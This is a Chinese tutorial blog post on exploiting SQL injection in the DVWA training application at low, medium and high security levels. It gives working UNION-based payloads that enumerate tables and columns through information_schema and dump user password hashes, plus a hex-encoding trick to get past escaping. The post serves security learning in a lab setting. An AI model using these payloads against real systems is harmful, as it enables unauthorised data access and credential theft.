DVWA(三):SQL injection 全等级SQL注入

摘要:
3、 关于SQL注入需要注意的几点:1.SQL注入攻击过程:判断注入点:一般分为三类:GET和POST参数触发SQL注入,cookie触发注入。判断注入类型:数字、字符、搜索等。判断数据库类型以获取数据库数据,并提供两个学习参考链接:传输门1、传输门2、4以下显示DVWA的SQL注入模块(显式注释):1.低级SQL注入:输入1,查询成功。

(本文不定期更新)

一、所需环境:

1.DVWA

2.web环境 phpstudy/wamp

3.burp suite

二、SQL注入产生的原因:

  程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患
用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据或进行数据库操作。

三、关于SQL注入需要注意的几个点:

1.SQL注入的攻击流程:

  (1)判断注入点:一般分为三大类 GET、POST参数触发SQL注入,Cookie触发注入

  (2)判断注入类型:数字型、字符型、搜索型等

  (3)判断数据库类型

  (4)获取数据库数据,提权

   提供两个学习参考链接:传送门1  传送门2

四、下面演示DVWA的SQL injection模块(显注):

  1.low级别的SQL注入:

  输入1,查询成功。

  DVWA(三):SQL injection 全等级SQL注入第1张

 

   输入 1 and 1=1 查询成功

  DVWA(三):SQL injection 全等级SQL注入第2张

 

  输入1 and 1=2 查询成功(说明不是数字型,因为1 and 1=2 在and右边1=2的值是false,如果是数字型,此时应该不会查到东西)

  DVWA(三):SQL injection 全等级SQL注入第3张

   下面验证是否是字符型注入,输入 1' and '1' = '1 查询成功

  DVWA(三):SQL injection 全等级SQL注入第4张

 

  输入1‘ and ’1‘ = ’2  没查到东西 说明是字符型注入

  DVWA(三):SQL injection 全等级SQL注入第5张

 

   

   2.猜解SQL查询语句中的字段数/:

  输入 1‘ order by 2# 查询成功,#用来注释掉参数后面的单引号

  DVWA(三):SQL injection 全等级SQL注入第6张

 

   输入 1‘ order by 3# 查询失败 说明只有两个字段,Firstname 和Surname

  DVWA(三):SQL injection 全等级SQL注入第7张

 

  3.确定显示的字段顺序,这里用union select 联合查询。

   输入 1‘ union select 1,2 #

  DVWA(三):SQL injection 全等级SQL注入第8张

 

  4.获取当前数据库,输入 1‘ union select 1,database()# 其中database()是获取当前连接的数据库的函数。

  通常from后面都会有一个表名 比如 admin id user之类的union select 1,2 from 这里1,2说明只有两个字段 那么再继续这个语句从from后面的哪个表里面查然后返回页面就会返回1,2这几个数字中的其中几个在mysql中 有很多的注射能用到的函数 比如 user() database() version() 分别用来查看当前数据库连接的用户名,数据库名称 以及mysql的版本比如返回 1 那么你把1 替换成user() database() version() 的其中一个也就是 union select user(), 2  这样就可以在页面上爆出 用户名 绝对路径之类的 函数名等。

  DVWA(三):SQL injection 全等级SQL注入第9张

 

   这里爆出当前连接的数据库为dvwa

  5.获取数据库中所有的表:

  输入:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

  DVWA(三):SQL injection 全等级SQL注入第10张

 

   说明数据库中只有两个表,guestbook users

  6.获取表中的字段名:

  输入:1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' #

  可以看到有好多个字段,而我们只需要几个就可以了,user_id,firstname,passwordDVWA(三):SQL injection 全等级SQL注入第11张

 

   7.获得数据:

  输入:1' union select group_concat(user_id,first_name),group_concat(password) from users #

  DVWA(三):SQL injection 全等级SQL注入第12张

 

   8.获取账户密码:

  上面的surname中就是密码,因为都是经过加密需要网上解密一下,我们取Gordon这个用户密码进行验证。

  DVWA(三):SQL injection 全等级SQL注入第13张

 

 

  到此就拿到了用户名和密码。

 

2.中级:

  源码:

  DVWA(三):SQL injection 全等级SQL注入第14张

 

 

 

  Medium级别的代码利用mysql_real_escape_string函数对特殊符号x00, , ,,’,”,x1a进行转义,并且出现了下拉菜单使得用户无法控制输入的变量。所以解下来要做代理服务器设置并使用burp suite抓包工具(关于代理服务器设置可以看我前面关于暴力破解模块的文章,这里我就不再赘述并截图了)

DVWA(三):SQL injection 全等级SQL注入第15张

 

 

   这是我选择id=1时抓到的包 

·  DVWA(三):SQL injection 全等级SQL注入第16张

 

 

 ·1.首先判断注入类型(字符型、数字型、搜索型等)

 将语句修改为 id =1 and 1=1  将 修改的包 Forward

·DVWA(三):SQL injection 全等级SQL注入第17张

 

 成功! 说明是数字型注入。而如果是字符型输入的话会很麻烦 因为有PHP mysql_real_escape_string() 函数进行转义

  DVWA(三):SQL injection 全等级SQL注入第18张

 

 

 2.判断有几个字段

  用order by 进行猜解  发现  输入 1 order by 2查询成功 1 order by 3 查询失败,说明依然只有两个字段(First name , Surname)

  DVWA(三):SQL injection 全等级SQL注入第19张

 

 

   DVWA(三):SQL injection 全等级SQL注入第20张

 

 

 3.确定显示字段的顺序,查询成功

  抓包更改参数为 1 union select 1,2DVWA(三):SQL injection 全等级SQL注入第21张

 

 

   DVWA(三):SQL injection 全等级SQL注入第22张

 

 

 4.获取当前数据库名:

 抓包修改 1 union select 1,database()  查询成功,说明当前连接的数据库是dvwa

  DVWA(三):SQL injection 全等级SQL注入第23张

 

 

 DVWA(三):SQL injection 全等级SQL注入第24张

 

 5.获取当前数据库有哪些表

  抓包修改 1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() 查询成功

  DVWA(三):SQL injection 全等级SQL注入第25张

 

DVWA(三):SQL injection 全等级SQL注入第26张

 

 只有两个表 guestbook 和 users

6.获取表中的字段名:

  抓包修改为:1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

  因为使用了转义函数,所以这里要将 'users' 用16进制绕过:

  抓包修改参数为:1 union select 1,group_concat(column_name) from information_schema.columns where table_name = 0x7573657273               成功!

  DVWA(三):SQL injection 全等级SQL注入第27张

 

 DVWA(三):SQL injection 全等级SQL注入第28张

 

   7.获取数据信息:我们只需要 user_id first_name last_name password 即可。这里如果是正常情况下应该是用 user 和 password 列,这两列获取出来的数据就是登录DVWA的账户和密码。

  抓包修改参数:

  

 

 

DVWA(三):SQL injection 全等级SQL注入第29张

 

 

 

接下来将密码转义即可。DVWA(三):SQL injection 全等级SQL注入第30张

  

 3.高级(High)

  观察源码:

  只是在后面加了LIMIT 1 且 为字符型注入,那只需要在输入语句最后#注释掉 LIMIT 1即可,其余步骤基本与low级别一样。DVWA(三):SQL injection 全等级SQL注入第31张

   还有不同呢就是在前端页面上,没有输入框了,变成了下图这样,点击会跳转页面,基本杜绝了自动化的SQL注入。但是源码中没有对参数进行防御,还是可以通过burp suite抓包,修改参数,获取数据库信息。

  DVWA(三):SQL injection 全等级SQL注入第32张

   DVWA(三):SQL injection 全等级SQL注入第33张

   1.判断注入类型(因为分析源码,参数被单引号包裹,所以是字符型注入,这里不再赘述,直接验证一下)  

  分别修改参数为 1 and 1 = 2  , 1' and '1' = ‘1’ #  和 1' and '1' = ‘2’ #  用#注释掉后面的LIMIT 1

  DVWA(三):SQL injection 全等级SQL注入第34张

  DVWA(三):SQL injection 全等级SQL注入第35张

   DVWA(三):SQL injection 全等级SQL注入第36张

  DVWA(三):SQL injection 全等级SQL注入第37张

  修改为‘1’=‘2‘时页面是没有正常回显的,说明应该是字符型注入 。

   之后步骤基本与low级别一致 就不再演示了。

  然后用到burp suite工具抓包也只是为了演示一下,但是如果已经知道了源码是哪个样子,可以直接在搜索框里输入,而不用去抓包修改那么麻烦了。

   附最后结果

  DVWA(三):SQL injection 全等级SQL注入第38张

 参考文章 group_concat的使用 传送门

 

  

 

  

  

  

 

 

  

  最后修改于:2020.3.3.9:16

 

免责声明:文章转载自《DVWA(三):SQL injection 全等级SQL注入》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇Java多线程 -yield用法asp.net 中webapi读取参数对象和.net core的区别下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

数据库垂直拆分 水平拆分

from:https://www.cnblogs.com/firstdream/p/6728106.html 当我们使用读写分离、缓存后,数据库的压力还是很大的时候,这就需要使用到数据库拆分了。 数据库拆分简单来说,就是指通过某种特定的条件,按照某个维度,将我们存放在同一个数据库中的数据分散存放到多个数据库(主机)上面以达到分散单库(主机)负载的效果。...

SQL SERVER如何判断某个字段包含大写字母

sql语句中默认是不区分大小写的,所以语句: Sql代码 SELECT * FROM RecEngineBizInfo WHERE RecEngineBizName = 'QQ' 和 Sql代码 SELECT * FROM RecEngineBizInfo WHERE RecEngineBizName = 'qq' 查到的结果是一样的。 要查看某个字段是否...

MySQL常用操作笔记[转]

一、用户创建、权限、删除1、连接MySql操作连接:mysql -h 主机地址 -u 用户名 -p 用户密码 (注:u与root可以不用加空格,其它也一样)断开:exit (回车)终端输入mysql -h 127.0.0.1 -u root -p 然后输入密码。就可以连接到本地的MySql数据库了。 2、 创建用户:命令: CREATE USER 'us...

【SQL注入】之SQLMAP工具的使用

(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦) 一、介绍 1.SQL注入工具:明小子、啊D、罗卜头、穿山甲、SQLMAP等等 2.SQLMAP:使用python开发,开源自动化注入利用工具,支持12种数据库 ,在/plugins/dbms中可以看到支持的数据库种类,在所有注入利用工具中它是最好用的!!! 3.支持的注入类型:...

ABP官方文档翻译 3.8 数据过滤器

数据过滤器 介绍 预定义过滤器 ISoftDelete 何时使用? IMustHaveTenant 何时使用? IMayHaveTenant 何时使用 禁用过滤器 关于using语句 关于多租户 全局禁用过滤器 启用过滤器 设置过滤器参数SetTenantId方法 ORM集成 Entity Framework EntityFramewo...

ADO.net数据访问方法

ADO.NET是一组用于和数据源进行交互的面向对象的类库。 核心组件有两个:   DataSet 是 ADO.NET 的非连接(断开)结构的核心组件。DataSet 的设计目的很明确:为了实现独立于任何数据源的数据访问。因此,ADO.NET结构可以用于多种不同的数据源,用于 XML 数据,或用于管理应用程序本地的数据。DataSet 包含一个或多个 Dat...